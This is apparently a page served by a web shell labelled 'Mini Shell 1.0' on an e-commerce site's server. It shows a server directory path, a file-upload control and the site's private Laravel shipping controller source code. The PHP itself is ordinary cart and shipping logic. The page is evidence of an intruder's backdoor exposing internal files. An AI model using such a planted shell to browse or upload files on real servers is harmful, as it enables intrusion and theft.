HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/ShippingController.php
<?php



namespace App\Http\Controllers\Api\V2;



use App\Http\Resources\V2\AddressCollection;

use App\Http\Resources\V2\PickupPointResource;

use App\Models\Cart;

use App\Models\City;

use App\Models\PickupPoint;

use App\Models\Product;

use App\Models\Shop;

use Illuminate\Http\Request;



class ShippingController extends Controller

{

    public function pickup_list()

    {

        $pickup_point_list = PickupPoint::where('pick_up_status', '=', 1)->get();



        return PickupPointResource::collection($pickup_point_list);

        // return response()->json(['result' => true, 'pickup_points' => $pickup_point_list], 200);

    }



    public function shipping_cost(Request $request)

    {

        $main_carts = Cart::where('user_id', auth()->user()->id)->get();



        foreach ($request->seller_list as $key => $seller) {

            $seller['shipping_cost'] = 0;



            $carts = Cart::where('user_id', auth()->user()->id)->where("owner_id", $seller['seller_id'])->get();



            foreach ($carts as $key => $cartItem) {

                $cartItem['shipping_cost'] = 0;



                if ($seller['shipping_type'] == 'pickup_point') {

                    $cartItem['shipping_type'] = 'pickup_point';

                    $cartItem['pickup_point'] = $seller['shipping_id'];

                } else

                if ($seller['shipping_type'] == 'home_delivery') {

                    $cartItem['shipping_type'] = 'home_delivery';

                    $cartItem['pickup_point'] = 0;



                    $cartItem['shipping_cost'] = getShippingCost($main_carts, $key);

                } else

                if ($seller['shipping_type'] == 'carrier') {

                    $cartItem['shipping_type'] = 'carrier';

                    $cartItem['pickup_point'] = 0;

                    $cartItem['carrier_id'] = $seller['shipping_id'];

                    $cartItem['shipping_cost'] = getShippingCost($carts, $key, $seller['shipping_id']);

                }



                $cartItem->save();

            }

        }



        //Total shipping cost $calculate_shipping

        $total_shipping_cost = Cart::where('user_id', auth()->user()->id)->sum('shipping_cost');

        return response()->json(['result' => true, 'shipping_type' => get_setting('shipping_type'), 'value' => convert_price($total_shipping_cost), 'value_string' => format_price(convert_price($total_shipping_cost))], 200);

    }





    public function getDeliveryInfo()

    {

        $owner_ids = Cart::where('user_id', auth()->user()->id)->select('owner_id')->groupBy('owner_id')->pluck('owner_id')->toArray();

        $currency_symbol = currency_symbol();

        $shops = [];

        if (!empty($owner_ids)) {

            foreach ($owner_ids as $owner_id) {

                $shop = array();

                $shop_items_raw_data = Cart::where('user_id', auth()->user()->id)->where('owner_id', $owner_id)->get()->toArray();

                $shop_items_data = array();

                if (!empty($shop_items_raw_data)) {

                    foreach ($shop_items_raw_data as $shop_items_raw_data_item) {

                        $product = Product::where('id', $shop_items_raw_data_item["product_id"])->first();

                        $shop_items_data_item["id"] = intval($shop_items_raw_data_item["id"]);

                        $shop_items_data_item["owner_id"] = intval($shop_items_raw_data_item["owner_id"]);

                        $shop_items_data_item["user_id"] = intval($shop_items_raw_data_item["user_id"]);

                        $shop_items_data_item["product_id"] = intval($shop_items_raw_data_item["product_id"]);

                        $shop_items_data_item["product_name"] = $product->getTranslation('name');

                        $shop_items_data_item["product_thumbnail_image"] = uploaded_asset($product->thumbnail_img);

                        $shop_items_data_item["product_is_digital"] = $product->digital == 1;

                        /*

                        $shop_items_data_item["variation"] = $shop_items_raw_data_item["variation"];

                        $shop_items_data_item["price"] =(double) cart_product_price($shop_items_raw_data_item, $product, false, false);

                        $shop_items_data_item["currency_symbol"] = $currency_symbol;

                        $shop_items_data_item["tax"] =(double) cart_product_tax($shop_items_raw_data_item, $product,false);

                        $shop_items_data_item["shipping_cost"] =(double) $shop_items_raw_data_item["shipping_cost"];

                        $shop_items_data_item["quantity"] =intval($shop_items_raw_data_item["quantity"]) ;

                        $shop_items_data_item["lower_limit"] = intval($product->min_qty) ;

                        $shop_items_data_item["upper_limit"] = intval($product->stocks->where('variant', $shop_items_raw_data_item['variation'])->first()->qty) ;

*/

                        $shop_items_data[] = $shop_items_data_item;

                    }

                }





                $shop_data = Shop::where('user_id', $owner_id)->first();





                if ($shop_data) {

                    $shop['name'] = $shop_data->name;

                    $shop['owner_id'] = (int) $owner_id;

                    $shop['cart_items'] = $shop_items_data;

                } else {

                    $shop['name'] = "Inhouse";

                    $shop['owner_id'] = (int) $owner_id;

                    $shop['cart_items'] = $shop_items_data;

                }

                $shop['carriers'] = seller_base_carrier_list($owner_id);

                $shop['pickup_points'] = [];

                if (get_setting('pickup_point') == 1) {

                    $pickup_point_list = PickupPoint::where('pick_up_status', '=', 1)->get();

                    $shop['pickup_points']  = PickupPointResource::collection($pickup_point_list);

                }

                $shops[] = $shop;

            }

        }



        //dd($shops);



        return response()->json($shops);

    }

}